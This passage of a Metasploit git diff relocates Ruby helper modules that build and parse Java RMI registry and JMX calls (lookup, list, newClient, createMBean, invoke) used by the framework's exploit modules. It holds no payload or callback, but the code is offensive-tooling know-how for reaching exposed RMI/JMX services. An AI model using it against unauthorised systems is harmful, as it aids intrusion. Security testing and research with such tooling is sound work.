parse_registry_list(return_value) + + names + end + + # Calculates the hash to make RMI calls for the + # java/rmi/registry/RegistryImpl_Stub interface + # + # @return [Fixnum] The interface's hash + def registry_interface_hash + hash = calculate_interface_hash( + [ + { + name: 'bind', + descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V', + exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException'] + }, + { + name: 'list', + descriptor: '()[Ljava/lang/String;', + exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException'] + }, + { + name: 'lookup', + descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;', + exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException'] + }, + { + name: 'rebind', + descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V', + exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException'] + }, + { + name: 'unbind', + descriptor: '(Ljava/lang/String;)V', + exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException'] + } + ] + ) + + hash + end + + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/java/rmi/client/registry/builder.rb b/lib/msf/core/exploit/java/rmi/client/registry/builder.rb new file mode 100644 index 0000000000..4715d4437a --- /dev/null +++ b/lib/msf/core/exploit/java/rmi/client/registry/builder.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module Java + module Rmi + module Client + module Registry + module Builder + + # Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to + # retrieve the remote reference bound to a name. + # + # @param opts [Hash] + # @option opts [String] :name the name to lookup + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call + def build_registry_lookup(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + name = opts[:name] || '' + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: 2, # java.rmi.Remote lookup(java.lang.String) + hash: registry_interface_hash, + arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)] + ) + + call + end + + # Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to + # enumerate the names bound in a registry + # + # @param opts [Hash] + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call + def build_registry_list(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: 1, # java.lang.String list()[] + hash: registry_interface_hash, + arguments: [] + ) + + call + end + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/java/rmi/client/registry/parser.rb b/lib/msf/core/exploit/java/rmi/client/registry/parser.rb new file mode 100644 index 0000000000..dc2bd29cb9 --- /dev/null +++ b/lib/msf/core/exploit/java/rmi/client/registry/parser.rb @@ -0,0 +1,53 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module Java + module Rmi + module Client + module Registry + module Parser + # Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out + # the remote reference information. + # + # @param return_value [Rex::Java::Serialization::Model::ReturnValue] + # @return [Hash, NilClass] The remote interface information if success, nil otherwise + def parse_registry_lookup_endpoint(return_value) + values_size = return_value.value.length + end_point_block_data = return_value.value[values_size - 2] + unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData) + return nil + end + + return_io = StringIO.new(end_point_block_data.contents, 'rb') + + reference = extract_reference(return_io) + + reference + end + + # Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out + # the list of names registered. + # + # @param return_value [Rex::Java::Serialization::Model::ReturnValue] + # @return [Array, NilClass] The list of names registered if success, nil otherwise + def parse_registry_list(return_value) + unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray) + return nil + end + + unless return_value.value[0].type == 'java.lang.String;' + return nil + end + + return_value.value[0].values.collect { |val| val.contents } + end + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/java/rmi/util.rb b/lib/msf/core/exploit/java/rmi/util.rb new file mode 100644 index 0000000000..17757c6177 --- /dev/null +++ b/lib/msf/core/exploit/java/rmi/util.rb @@ -0,0 +1,127 @@ +# -*- coding: binary -*- +require 'rex/java/serialization' +require 'rex/text' + +module Msf + class Exploit + class Remote + module Java + module Rmi + module Util + # Calculates a method hash to make RMI calls as defined by the JDK 1.2 + # + # @param signature [String] The remote method signature as specified by the JDK 1.2, + # method name + method descriptor (as explained in the Java Virtual Machine Specification) + # @return [Fixnum] The method hash + # @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated + def calculate_method_hash(signature) + utf = Rex::Java::Serialization::Model::Utf.new(nil, signature) + sha1 = Rex::Text.sha1_raw(utf.encode) + + sha1.unpack('Q<')[0] + end + + # Calculates an interface hash to make RMI calls as defined by the JDK 1.1 + # + # @param methods [Array] set of method names and their descriptors + # @return [Fixnum] The interface hash + # @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated + def calculate_interface_hash(methods) + stream = '' + stream << [1].pack('N') # stub version number + + methods.each do |m| + utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name]) + utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor]) + stream << utf_method.encode + stream << utf_descriptor.encode + m[:exceptions].each do |e| + utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e) + stream << utf_exception.encode + end + end + + sha1 = Rex::Text.sha1_raw(stream) + + sha1.unpack('Q<')[0] + end + + # Extracts an string from an IO + # + # @param io [IO] the io to extract the string from + # @return [String, nil] the extracted string if success, nil otherwise + def extract_string(io) + raw_length = io.read(2) + unless raw_length && raw_length.length == 2 + return nil + end + length = raw_length.unpack('s>')[0] + + string = io.read(length) + unless string && string.length == length + return nil + end + + string + end + + # Extracts an int from an IO + # + # @param io [IO] the io to extract the int from + # @return [Fixnum, nil] the extracted int if success, nil otherwise + def extract_int(io) + int_raw = io.read(4) + unless int_raw && int_raw.length == 4 + return nil + end + int = int_raw.unpack('l>')[0] + + int + end + + # Extracts a long from an IO + # + # @param io [IO] the io to extract the long from + # @return [Fixnum, nil] the extracted int if success, nil otherwise + def extract_long(io) + int_raw = io.read(8) + unless int_raw && int_raw.length == 8 + return nil + end + int = int_raw.unpack('q>')[0] + + int + end + + # Extract an RMI interface reference from an IO + # + # @param io [IO] the io to extract the reference from, should contain the data + # inside a BlockData with the reference information. + # @return [Hash, nil] the extracted reference if success, nil otherwise + # @see Msf::Exploit::Remote::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint + # @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint + def extract_reference(io) + ref = extract_string(io) + unless ref && ref == 'UnicastRef' + return nil + end + + address = extract_string(io) + return nil unless address + + port = extract_int(io) + return nil unless port + + object_number = extract_long(io) + + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io) + + {address: address, port: port, object_number: object_number, uid: uid} + end + + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/builder.rb b/lib/msf/java/rmi/builder.rb deleted file mode 100644 index 21ad475f47..0000000000 --- a/lib/msf/java/rmi/builder.rb +++ /dev/null @@ -1,96 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/java/serialization' - -module Msf - module Java - module Rmi - module Builder - # Builds a RMI header stream - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :signature - # @option opts [Fixnum] :version - # @option opts [Fixnum] :protocol - # @return [Rex::Proto::Rmi::Model::OutputHeader] - def build_header(opts = {}) - signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE - version = opts[:version] || 2 - protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL - - header = Rex::Proto::Rmi::Model::OutputHeader.new( - signature: signature, - version: version, - protocol: protocol) - - header - end - - # Builds a RMI call stream - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :message_id - # @option opts [Fixnum] :object_number Random to identify the object. - # @option opts [Fixnum] :uid_number Identifies the VM where the object was generated. - # @option opts [Fixnum] :uid_time Time where the object was generated. - # @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM - # at the same time. - # @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2 - # it is -1. - # @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash - # representing the method to call. - # @option opts [Array] :arguments - # @return [Rex::Proto::Rmi::Model::Call] - def build_call(opts = {}) - message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE - object_number = opts[:object_number] || 0 - uid_number = opts[:uid_number] || 0 - uid_time = opts[:uid_time] || 0 - uid_count = opts[:uid_count] || 0 - operation = opts[:operation] || -1 - hash = opts[:hash] || 0 - arguments = opts[:arguments] || [] - - uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new( - number: uid_number, - time: uid_time, - count: uid_count - ) - - call_data = Rex::Proto::Rmi::Model::CallData.new( - object_number: object_number, - uid: uid, - operation: operation, - hash: hash, - arguments: arguments - ) - - call = Rex::Proto::Rmi::Model::Call.new( - message_id: message_id, - call_data: call_data - ) - - call - end - - # Builds a RMI dgc ack stream - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :stream_id - # @option opts [String] :unique_identifier - # @return [Rex::Proto::Rmi::Model::DgcAck] - def build_dgc_ack(opts = {}) - stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE - unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - - dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( - stream_id: stream_id, - unique_identifier: unique_identifier - ) - - dgc_ack - end - end - end - end -end diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb deleted file mode 100644 index 9cb6987357..0000000000 --- a/lib/msf/java/rmi/client.rb +++ /dev/null @@ -1,164 +0,0 @@ -# -*- coding: binary -*- -require 'rex/proto/rmi' -require 'rex/java/serialization' -require 'stringio' - -module Msf - module Java - module Rmi - module Client - - require 'msf/java/rmi/util' - require 'msf/java/rmi/builder' - require 'msf/java/rmi/client/registry' - require 'msf/java/rmi/client/jmx' - - include Msf::Java::Rmi::Util - include Msf::Java::Rmi::Builder - include Msf::Java::Rmi::Client::Registry - include Msf::Java::Rmi::Client::Jmx - include Exploit::Remote::Tcp - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptInt.new('RmiReadLoopTimeout', [ true, 'Maximum number of seconds to wait for data between read iterations', 1]) - ], Msf::Java::Rmi::Client - ) - end - - # Returns the timeout to wait for data between read iterations - # - # @return [Fixnum] - def read_loop_timeout - datastore['RmiReadLoopTimeout'] || 1 - end - - # Returns the target host - # - # @return [String] - def rhost - datastore['RHOST'] - end - - # Returns the target port - # - # @return [Fixnum] - def rport - datastore['RPORT'] - end - - # Returns the RMI server peer - # - # @return [String] - def peer - "#{rhost}:#{rport}" - end - - # Sends a RMI header stream - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Fixnum] the number of bytes sent - # @see Msf::Rmi::Client::Streams#build_header - def send_header(opts = {}) - nsock = opts[:sock] || sock - stream = build_header(opts) - nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00") - end - - # Sends a RMI CALL stream - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @option opts [Rex::Proto::Rmi::Model::Call] :call - # @return [Fixnum] the number of bytes sent - # @see Msf::Rmi::Client::Streams#build_call - def send_call(opts = {}) - nsock = opts[:sock] || sock - call = opts[:call] || build_call(opts) - nsock.put(call.encode) - end - - # Sends a RMI DGCACK stream - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Fixnum] the number of bytes sent - # @see Msf::Rmi::Client::Streams#build_dgc_ack - def send_dgc_ack(opts = {}) - nsock = opts[:sock] || sock - stream = build_dgc_ack(opts) - nsock.put(stream.encode) - end - - # Reads the Protocol Ack - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Rex::Proto::Rmi::Model::ProtocolAck] if success - # @return [NilClass] otherwise - # @see Rex::Proto::Rmi::Model::ProtocolAck.decode - def recv_protocol_ack(opts = {}) - nsock = opts[:sock] || sock - data = safe_get_once(nsock) - begin - ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) - rescue Rex::Proto::Rmi::DecodeError - return nil - end - - ack - end - - # Reads a ReturnData message and returns the java serialized stream - # with the return data value. - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Rex::Proto::Rmi::Model::ReturnValue] if success - # @return [NilClass] otherwise - # @see Rex::Proto::Rmi::Model::ReturnData.decode - def recv_return(opts = {}) - nsock = opts[:sock] || sock - data = safe_get_once(nsock) - - begin - return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) - rescue Rex::Proto::Rmi::DecodeError - return nil - end - - return_data.return_value - end - - # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` - # - # @param nsock [Rex::Socket::Tcp] - # @return [String] - def safe_get_once(nsock = sock, loop_timeout = read_loop_timeout) - data = '' - begin - res = nsock.get_once - rescue ::EOFError - res = nil - end - - while res && nsock.has_read_data?(loop_timeout) - data << res - begin - res = nsock.get_once - rescue ::EOFError - res = nil - end - end - - data << res if res - data - end - end - end - end -end diff --git a/lib/msf/java/rmi/client/jmx.rb b/lib/msf/java/rmi/client/jmx.rb deleted file mode 100644 index edd5e7215c..0000000000 --- a/lib/msf/java/rmi/client/jmx.rb +++ /dev/null @@ -1,23 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Rmi - module Client - module Jmx - require 'msf/java/rmi/client/jmx/server' - require 'msf/java/rmi/client/jmx/connection' - - include Msf::Java::Rmi::Client::Jmx::Server - include Msf::Java::Rmi::Client::Jmx::Connection - - OBJECT_NAME_UID = 1081892073854801359 - BYTE_ARRAY_UID = -5984413125824719648 - MARSHALLED_OBJECT_UID = 8988374069173025854 - STRING_ARRAY_UID = -5921575005990323385 - OBJECT_ARRAY_UID = -8012369246846506644 - end - end - end - end -end diff --git a/lib/msf/java/rmi/client/jmx/connection.rb b/lib/msf/java/rmi/client/jmx/connection.rb deleted file mode 100644 index c3df91cabf..0000000000 --- a/lib/msf/java/rmi/client/jmx/connection.rb +++ /dev/null @@ -1,122 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Rmi - module Client - module Jmx - # This mixin provides methods to simulate calls to the Java - # javax/management/remote/rmi/RMIConnectionImpl_Stub - # interface - module Connection - require 'msf/java/rmi/client/jmx/connection/builder' - - include Msf::Java::Rmi::Client::Jmx::Connection::Builder - - # Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call - # to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() - # method. - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [TrueClass, NilClass] true if success, nil otherwise - # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception - # @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance - def send_jmx_get_object_instance(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_jmx_get_object_instance(opts) - ) - - return_value = recv_return( - sock: opts[:sock] || sock - ) - - if return_value.nil? - return nil - end - - if return_value.is_exception? - raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name - end - - unless return_value.get_class_name == 'javax.management.ObjectInstance' - return nil - end - - true - end - - # Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call - # to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() - # method. - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [TrueClass, NilClass] true if success, nil otherwise - # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception - # @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean - def send_jmx_create_mbean(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_jmx_create_mbean(opts) - ) - - return_value = recv_return( - sock: opts[:sock] || sock - ) - - if return_value.nil? - return nil - end - - if return_value.is_exception? - raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name - end - - unless return_value.get_class_name == 'javax.management.ObjectInstance' - return nil - end - - true - end - - # Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call - # to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() - # method. - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [TrueClass, NilClass] true if success, nil otherwise - # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception - # @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_invoke - def send_jmx_invoke(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_jmx_invoke(opts) - ) - - return_value = recv_return( - sock: opts[:sock] || sock - ) - - if return_value.nil? - return nil - end - - if return_value.is_exception? - raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name - end - - unless return_value.get_class_name == 'java.util.HashSet' - return nil - end - - true - end - end - end - end - end - end -end diff --git a/lib/msf/java/rmi/client/jmx/connection/builder.rb b/lib/msf/java/rmi/client/jmx/connection/builder.rb deleted file mode 100644 index f9a2e26a19..0000000000 --- a/lib/msf/java/rmi/client/jmx/connection/builder.rb +++ /dev/null @@ -1,234 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Rmi - module Client - module Jmx - module Connection - module Builder - # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() - # used to retrieve an MBean instance - # - # @param opts [Hash] - # @option opts [String] :name the MBean name - # @return [Rex::Proto::Rmi::Model::Call] - # @see Msf::Java::Rmi::Builder.build_call - def build_jmx_get_object_instance(opts = {}) - object_number = opts[:object_number] || 0 - uid_number = opts[:uid_number] || 0 - uid_time = opts[:uid_time] || 0 - uid_count = opts[:uid_count] || 0 - name = opts[:name] || '' - - arguments = build_jmx_get_object_instance_args(name) - - method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;') - - call = build_call( - object_number: object_number, - uid_number: uid_number, - uid_time: uid_time, - uid_count: uid_count, - operation: -1, - hash: method_hash, - arguments: arguments - ) - - call - end - - # Builds an an array of arguments o build a call to - # javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() - # - # @param name [String] the MBean name - # @return [Array] - def build_jmx_get_object_instance_args(name = '') - builder = Rex::Java::Serialization::Builder.new - - new_object = builder.new_object( - name: 'javax.management.ObjectName', - serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID - flags: 3 - ) - - arguments = [ - new_object, - Rex::Java::Serialization::Model::Utf.new(nil, name), - Rex::Java::Serialization::Model::EndBlockData.new, - Rex::Java::Serialization::Model::NullReference.new - ] - - arguments - end - - # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() - # used to retrieve an MBean instance - # - # @param opts [Hash] - # @option opts [String] :name the MBean name - # @return [Rex::Proto::Rmi::Model::Call] - # @see Msf::Java::Rmi::Builder.build_call - def build_jmx_create_mbean(opts = {}) - name = opts[:name] || '' - object_number = opts[:object_number] || 0 - uid_number = opts[:uid_number] || 0 - uid_time = opts[:uid_time] || 0 - uid_count = opts[:uid_count] || 0 - - method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;') - - arguments = build_jmx_create_mbean_args(name) - - call = build_call( - object_number: object_number, - uid_number: uid_number, - uid_time: uid_time, - uid_count: uid_count, - operation: -1, - hash: method_hash, - arguments: arguments - ) - - call - end - - # Builds an an array of arguments o build a call to - # javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() - # - # @param name [Hash] the MBean name - # @return [Array] - def build_jmx_create_mbean_args(name = '') - arguments = [ - Rex::Java::Serialization::Model::Utf.new(nil, name), - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::NullReference.new - ] - - arguments - end - end - - - # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() - # used to invoke an MBean method - # - # @param opts [Hash] - # @option opts [String] :name the MBean name - # @return [Rex::Proto::Rmi::Model::Call] - # @see Msf::Java::Rmi::Builder.build_call - # @see #build_jmx_invoke_args - def build_jmx_invoke(opts = {}) - object_number = opts[:object_number] || 0 - uid_number = opts[:uid_number] || 0 - uid_time = opts[:uid_time] || 0 - uid_count = opts[:uid_count] || 0 - - method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;') - - arguments = build_jmx_invoke_args(opts) - - call = build_call( - object_number: object_number, - uid_number: uid_number, - uid_time: uid_time, - uid_count: uid_count, - operation: -1, - hash: method_hash, - arguments: arguments - ) - - call - end - - # Builds an an array of arguments o build a call to - # javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() - # - # @param opts [Hash] - # @option opts [String] :object the MBean name - # @option opts [String] :method the method name - # @option opts [Hash] :args the method arguments - # @return [Array] - def build_jmx_invoke_args(opts = {}) - object_name = opts[:object] || '' - method_name = opts[:method] || '' - args = opts[:args] || {} - - builder = Rex::Java::Serialization::Builder.new - - new_object = builder.new_object( - name: 'javax.management.ObjectName', - serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID - flags: 3 - ) - - data_binary = builder.new_array( - name: '[B', - serial: Msf::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID - values_type: 'byte', - values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*') - ) - - marshall_object = builder.new_object( - name: 'java.rmi.MarshalledObject', - serial: Msf::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID - fields: [ - ['int', 'hash'], - ['array', 'locBytes', '[B'], - ['array', 'objBytes', '[B'] - ], - data: [ - ["int", 1919492550], - Rex::Java::Serialization::Model::NullReference.new, - data_binary - ] - ) - - new_array = builder.new_array( - name: '[Ljava.lang.String;', - serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID - values_type: 'java.lang.String;', - values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } - ) - - arguments = [ - new_object, - Rex::Java::Serialization::Model::Utf.new(nil, object_name), - Rex::Java::Serialization::Model::EndBlockData.new, - Rex::Java::Serialization::Model::Utf.new(nil, method_name), - marshall_object, - new_array, - Rex::Java::Serialization::Model::NullReference.new - ] - - arguments - end - - # Builds a Rex::Java::Serialization::Model::Stream with the arguments to - # simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke() - # method. - # - # @param args [Hash] the arguments of the method to invoke - # @return [Rex::Java::Serialization::Model::Stream] - def build_invoke_arguments_obj_bytes(args = {}) - builder = Rex::Java::Serialization::Builder.new - - new_array = builder.new_array( - name: '[Ljava.lang.Object;', - serial: Msf::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID - annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - values_type: 'java.lang.Object;', - values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } - ) - - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << new_array - - stream - end - end - end - end - end - end -end diff --git a/lib/msf/java/rmi/client/jmx/server.rb b/lib/msf/java/rmi/client/jmx/server.rb deleted file mode 100644 index 684af82cc2..0000000000 --- a/lib/msf/java/rmi/client/jmx/server.rb +++ /dev/null @@ -1,57 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Rmi - module Client - module Jmx - module Server - require 'msf/java/rmi/client/jmx/server/builder' - require 'msf/java/rmi/client/jmx/server/parser' - - include Msf::Java::Rmi::Client::Jmx::Server::Builder - include Msf::Java::Rmi::Client::Jmx::Server::Parser - - # Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call - # to the Java javax/management/remote/rmi/RMIServer_Stub#newClient() - # method. - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Hash, NilClass] The connection information if success, nil otherwise - # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception - # @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_new_client - def send_new_client(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_jmx_new_client(opts) - ) - - return_value = recv_return( - sock: opts[:sock] || sock - ) - - if return_value.nil? - return nil - end - - if return_value.is_exception? - raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name - end - - remote_object = return_value.get_class_name - - unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub' - return nil - end - - reference = parse_jmx_new_client_endpoint(return_value) - - reference - end - end - end - end - end - end -end diff --git a/lib/msf/java/rmi/client/jmx/server/builder.rb b/lib/msf/java/rmi/client/jmx/server/builder.rb deleted file mode 100644 index 54b6632f64..0000000000 --- a/lib/msf/java/rmi/client/jmx/server/builder.rb +++ /dev/null @@ -1,73 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Rmi - module Client - module Jmx - module Server - module Builder - - # Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient() - # used to enumerate the names bound in a registry - # - # @param opts [Hash] - # @option opts [String] :username the JMX role to establish the connection if needed - # @option opts [String] :password the JMX password to establish the connection if needed - # @return [Rex::Proto::Rmi::Model::Call] - # @see Msf::Java::Rmi::Builder.build_call - def build_jmx_new_client(opts = {}) - object_number = opts[:object_number] || 0 - uid_number = opts[:uid_number] || 0 - uid_time = opts[:uid_time] || 0 - uid_count = opts[:uid_count] || 0 - username = opts[:username] - password = opts[:password] || '' - - if username - arguments = build_jmx_new_client_args(username, password) - else - arguments = [Rex::Java::Serialization::Model::NullReference.new] - end - - call = build_call( - object_number: object_number, - uid_number: uid_number, - uid_time: uid_time, - uid_count: uid_count, - operation: -1, - hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient - arguments: arguments - ) - - call - end - - # Builds a Rex::Java::Serialization::Model::NewArray with credentials - # to make an javax/management/remote/rmi/RMIServer_Stub#newClient call - # - # @param username [String] The username (role) to authenticate with - # @param password [String] The password to authenticate with - # @return [Array] - def build_jmx_new_client_args(username = '', password = '') - builder = Rex::Java::Serialization::Builder.new - - auth_array = builder.new_array( - name: '[Ljava.lang.String;', - serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID - values_type: 'java.lang.String;', - values: [ - Rex::Java::Serialization::Model::Utf.new(nil, username), - Rex::Java::Serialization::Model::Utf.new(nil, password) - ] - ) - - [auth_array] - end - end - end - end - end - end - end -end diff --git a/lib/msf/java/rmi/client/jmx/server/parser.rb b/lib/msf/java/rmi/client/jmx/server/parser.rb deleted file mode 100644 index efe45056d5..0000000000 --- a/lib/msf/java/rmi/client/jmx/server/parser.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Rmi - module Client - module Jmx - module Server - module Parser - # Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value - # to find out the remote reference information. - # - # @param return_value [Rex::Java::Serialization::Model::ReturnValue] - # @return [Hash, NilClass] The remote interface information if success, nil otherwise - def parse_jmx_new_client_endpoint(return_value) - values_size = return_value.value.length - end_point_block_data = return_value.value[values_size - 2] - - unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData) - return nil - end - - return_io = StringIO.new(end_point_block_data.contents, 'rb') - - reference = extract_reference(return_io) - - reference - end - end - end - end - end - end - end -end diff --git a/lib/msf/java/rmi/client/registry.rb b/lib/msf/java/rmi/client/registry.rb deleted file mode 100644 index 3a10d7b2ea..0000000000 --- a/lib/msf/java/rmi/client/registry.rb +++ /dev/null @@ -1,129 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Rmi - module Client - # This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub - # interface - module Registry - require 'msf/java/rmi/client/registry/builder' - require 'msf/java/rmi/client/registry/parser' - - include Msf::Java::Rmi::Client::Registry::Builder - include Msf::Java::Rmi::Client::Registry::Parser - - # Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java - # java/rmi/registry/RegistryImpl_Stub#lookup() method. - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Hash, NilClass] The remote reference information if success, nil otherwise - # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception - # @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup - def send_registry_lookup(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_registry_lookup(opts) - ) - - return_value = recv_return( - sock: opts[:sock] || sock - ) - - if return_value.nil? - return nil - end - - if return_value.is_exception? - raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name - end - - remote_object = return_value.get_class_name - - if remote_object.nil? - return nil - end - - remote_location = parse_registry_lookup_endpoint(return_value) - - if remote_location.nil? - return nil - end - - remote_location.merge(object: remote_object) - end - - # Sends a Registry list call to the RMI endpoint. Simulates a call to the Java - # 